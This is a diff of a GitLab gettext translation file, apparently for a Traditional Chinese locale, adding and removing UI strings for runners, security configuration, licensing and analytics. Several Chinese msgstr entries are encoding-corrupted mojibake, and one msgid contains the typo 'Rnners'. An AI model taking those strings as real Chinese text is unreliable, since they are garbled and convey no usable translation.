msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28081,6 +27775,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28090,9 +27787,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28159,12 +27853,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28174,6 +27877,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28183,9 +27889,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28198,9 +27913,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28243,12 +27964,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28279,6 +28006,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28357,6 +28090,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28408,10 +28147,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "ä¿å­˜æµæ°´ç·šè¨ˆåŠƒ"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28444,6 +28180,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28495,6 +28234,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28579,9 +28321,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28701,12 +28440,6 @@ msgstr[0] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28773,6 +28506,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28794,6 +28530,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28803,6 +28542,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -28827,9 +28572,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -28839,12 +28593,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -28857,7 +28620,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -28866,6 +28632,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -28878,6 +28650,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -28890,7 +28683,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -28953,6 +28746,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29058,6 +28854,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29160,9 +28959,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29193,9 +28989,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29298,9 +29100,6 @@ msgstr ""
msgid "Select target branch"
msgstr "é¸æ“‡ç›®æ¨™åˆ†æ”¯"
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29394,7 +29193,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29433,10 +29232,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29478,9 +29277,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29523,6 +29319,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29613,6 +29412,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29793,9 +29595,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29820,6 +29619,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -29844,9 +29646,6 @@ msgstr "顯示所有活動"
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -29874,9 +29673,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -29910,12 +29706,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -29960,6 +29750,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30293,9 +30086,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30398,6 +30188,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30464,12 +30257,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30503,9 +30290,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr "最後更新"
@@ -30548,9 +30332,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30602,6 +30383,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30620,6 +30404,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30722,15 +30509,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -30947,12 +30725,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -30971,7 +30755,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31001,6 +30785,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31088,6 +30875,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31097,9 +30887,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31454,6 +31241,9 @@ msgstr "星期日"
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31472,7 +31262,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31544,9 +31340,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31559,7 +31352,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31607,7 +31400,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31622,7 +31415,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31631,10 +31424,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -31826,6 +31619,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32176,7 +31972,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32185,6 +31981,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32194,6 +31993,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32227,9 +32029,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr "編碼階段概述了從第壹次æ交到創建åˆä½µè«‹æ±‚的時間。創建第壹個åˆä½µè«‹æ±‚後,數據將自動添加到此處。"
-
msgid "The collection of events added to the data gathered for that stage."
msgstr "與該階段相關的事件。"
@@ -32263,7 +32062,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32293,6 +32092,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32366,6 +32168,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32387,15 +32192,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr "議題階段概述了從創建議題到將議題添加到è£ç¨‹ç¢‘或議題看æ¿æ‰€èŠ±è²»çš„時間。創建第壹個議題後,數據將自動添加到此處.。"
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32480,18 +32285,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr "項目生命週期中的å„個階段。"
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr "計劃階段概述了從議題添加到日程到推é€é¦–次æ交的時間。當首次推é€æ交後,數據將自動添加到此處。"
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32555,9 +32354,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr "評審階段概述了從創建åˆä½µè«‹æ±‚到åˆä½µçš„時間。當創建第壹個åˆä½µè«‹æ±‚後,數據將自動添加到此處。"
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32576,11 +32372,11 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
-msgstr "é ç™¼å¸ƒéšŽæ®µæ¦‚述了åˆä½µè«‹æ±‚çš„åˆä½µåˆ°éƒ¨ç½²ä»£ç¢¼åˆ°ç”Ÿç”¢ç’°å¢ƒçš„總時間。當首次部署到生產環境後,數據將自動添加到此處。"
+msgid "The specified tab is invalid, please select another"
+msgstr ""
msgid "The start date must be ealier than the end date."
msgstr ""
@@ -32594,9 +32390,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr "測試階段概述了 GitLab CI 為相關åˆä½µè«‹æ±‚é‹è¡Œæ¯å€‹æµæ°´ç·šæ‰€éœ€çš„時間。當第壹個æµæ°´ç·šé‹è¡Œå®Œæˆå¾Œï¼Œæ•¸æ“šå°‡è‡ªå‹•æ·»åŠ åˆ°æ­¤è™•ã€‚"
-
msgid "The time taken by each data entry gathered by that stage."
msgstr "該階段æ¯æ¢æ•¸æ“šæ‰€èŠ±çš„時間"
@@ -32606,9 +32399,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32627,9 +32417,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr "中ä½æ•¸æ˜¯å£¹å€‹æ•¸åˆ—中最中間的值。例如在 3ã€5ã€9 之間,中ä½æ•¸æ˜¯ 5。在 3ã€5ã€7ã€8 之間,中ä½æ•¸æ˜¯ (5 + 7)/ 2 = 6。"
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32771,9 +32558,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -32894,6 +32678,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -32969,6 +32756,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33002,7 +32792,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33098,6 +32888,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33137,9 +32930,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33224,7 +33014,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -33961,9 +33751,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34048,9 +33844,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34150,9 +33943,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34165,6 +33967,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34213,6 +34018,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34691,12 +34505,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34787,21 +34595,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -34937,9 +34730,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35276,9 +35066,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35408,6 +35204,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35705,9 +35504,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35717,9 +35513,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
